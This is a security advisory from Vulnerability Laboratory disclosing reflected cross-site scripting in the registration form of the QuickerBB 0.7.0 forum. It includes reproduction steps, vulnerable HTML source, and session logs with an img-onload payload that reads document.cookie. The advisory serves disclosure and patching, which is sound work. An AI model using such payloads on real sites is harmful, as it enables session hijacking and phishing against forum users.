Document Title:
===============
QuickerBB 0.7.0 - Register Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1895


Release Date:
=============
2016-08-11


Vulnerability Laboratory ID (VL-ID):
====================================
1895


Common Vulnerability Scoring System:
====================================
3.2


Product & Service Introduction:
===============================
QuickerBB is a fast forum. It is based on PHP5 with databases SQLite and MySQL via PDO.
The easy setup forum web-application is in use by several tor protected shopping websites.

(Copy of the Homepage: http://188.122.128.27/index.php )


Abstract Advisory Information:
==============================
The vulnerbaility laboratory core research team discovered multiple client-side cross site vulnerabilities in the QuickerBB v0.7.0 Forum web-application.


Vulnerability Disclosure Timeline:
==================================
2016-08-11:  Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
QuickerBB
Product: QuickerBB - Forum (Web-Application) 0.7.0 and 0.6.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple client-side cross site scripting vulnerabilities has been discovered in the QuickerBB v0.7.0 Forum web-application.
The vulnerability allows remote attackers to inject own malicious script codes to client-side browser to web-application requests.

The cross site scripting vulnerabilities are located in the `username` and `email` parameters of the `Register` module.
Remote attackers are able to inject own malicious payloads to the client-side requested register module of the index.php file.
The injection points are the vulnerable marked parameters and the execution point occurs in the forum registration form web context.
The request method to inject is POST and the attack vector of the issue is non-persistent.

The security risk of the xss vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.2. 
Exploitation of the client-side vulnerabilities requires no privileged web-application user account and only low user interaction. 
Successful exploitation of the vulnerability results in non-persistent phishing attacks, session hijacking, non-persistent external 
redirect to malicious sources and non-persistent manipulation of affected or connected web module context.

Request Method(s):
      [+] POST

Vulnerable Module(s):
      [+] Register

Vulnerable File(s):
      [+] index.php

Vulnerable Parameter(s):
      [+] username
      [+] email


Proof of Concept (PoC):
=======================
The client-side vulnerabilities can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reprduce the vulnerability ...
1. Open the forum web-application without authentication
2. Open the register module with click to the link
3. Inject to the username or email inputs own script code payload
4. The execute occurs when processing to click the submit button for the POST method request
5. Successful reproduce of the client-side cross site scripting web vulnerability!


PoC: Vulnerable Source (./index.php?act=register)
<div id="wrap">
<a id="title" href="index.php">QuickerBB</a>
<span id="subtitle">fast forum software</span>
<div id="menu"><a href="index.php?act=login">Log in</a>
&nbsp;&nbsp;&nbsp;<a href="index.php?act=register">Register</a></div>
<fieldset id="breadcr">
<a href="index.php">Home</a>&nbsp;=>&nbsp;Register
</fieldset>
<fieldset id="contents">
<form action="index.php?act=register" method="post" accept-charset="UTF-8">
<span style="color:#ff0000">Error with Username, Password or Email.&nbsp;</span>
<table>
<tbody><tr>
<td><label for="username">Username</label></td>
<td><input name="username" value=">
" type="text"><img src="x" onload=alert(document.cookie) <[CLIENT-SIDE SCRIPT CODE EXECUTION!] "
size="32" maxlength="25" required/>
3 to 25 characters</td>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://quickerbb.localhost:8080/index.php?act=register 
Mime Type[text/html]
   Request Header:
      Host[quickerbb.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://quickerbb.localhost:8080/index.php?act=register]
      Cookie[PHPSESSID=gq38qakmqd3j4fo6f6bl5t1su1]
      Connection[keep-alive]
   POST-Daten:
      username[>"<img src="./evil-source" onload=alert(document.cookie) <(CLIENT SCRIPT SCRIPT CODE INJECT!)]
      password[fobar]
      password2[fobar2]
      email[@>"<img src="./evil-source" onload=alert(document.cookie) <(CLIENT SCRIPT SCRIPT CODE INJECT!)]
      show_email[0]
      register[1]
   Response Header:
      Date[Sat, 06 Aug 2016 17:39:50 GMT]
      Server[Apache/2.4.18 (Win64) PHP/5.6.19]
      X-Powered-By[PHP/5.6.19]
      Content-Type[text/html; charset=UTF-8]
-
Status: 200[OK]
GET http://quickerbb.localhost:8080/x[CLIENT-SIDE SCRIPT CODE EXECUTION!] 
Mime Type[text/html]
   Request Header:
      Host[quickerbb.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[*/*]
      Referer[http://quickerbb.localhost:8080/index.php?act=register]
      Cookie[PHPSESSID=gq38qakmqd3j4fo6f6bl5t1su1]
      Connection[keep-alive]
   Response Header:
      Date[Sat, 06 Aug 2016 17:39:50 GMT]
      Server[Apache/2.4.18 (Win64) PHP/5.6.19]
      Content-Type[text/html; charset=iso-8859-1]


Reference(s):
http://quickerbb.localhost:8080/
http://quickerbb.localhost:8080/index.php
http://quickerbb.localhost:8080/index.php?act=
http://quickerbb.localhost:8080/index.php?act=register


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse of the vulnerable name and email input fields of the registration formular.
Disallow special chars and filter the entries or escape the context to prevent further client-side script code injection attacks.


Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerabilities in the registration formular of the forum is estimated as medium. (CVSS 3.2)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com     - www.vuln-lab.com             - www.evolution-sec.com
Contact:    admin@vulnerability-lab.com   - research@vulnerability-lab.com         - admin@evolution-sec.com
Section:    magazine.vulnerability-lab.com   - vulnerability-lab.com/contact.php         - evolution-sec.com/contact
Social:      twitter.com/vuln_lab    - facebook.com/VulnerabilityLab         - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - vulnerability-lab.com/rss/rss_upcoming.php       - vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php   - vulnerability-lab.com/list-of-bug-bounty-programs.php   - vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

            Copyright A(c) 2016 | Vulnerability Laboratory - [Evolution Security GmbH]aC/



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com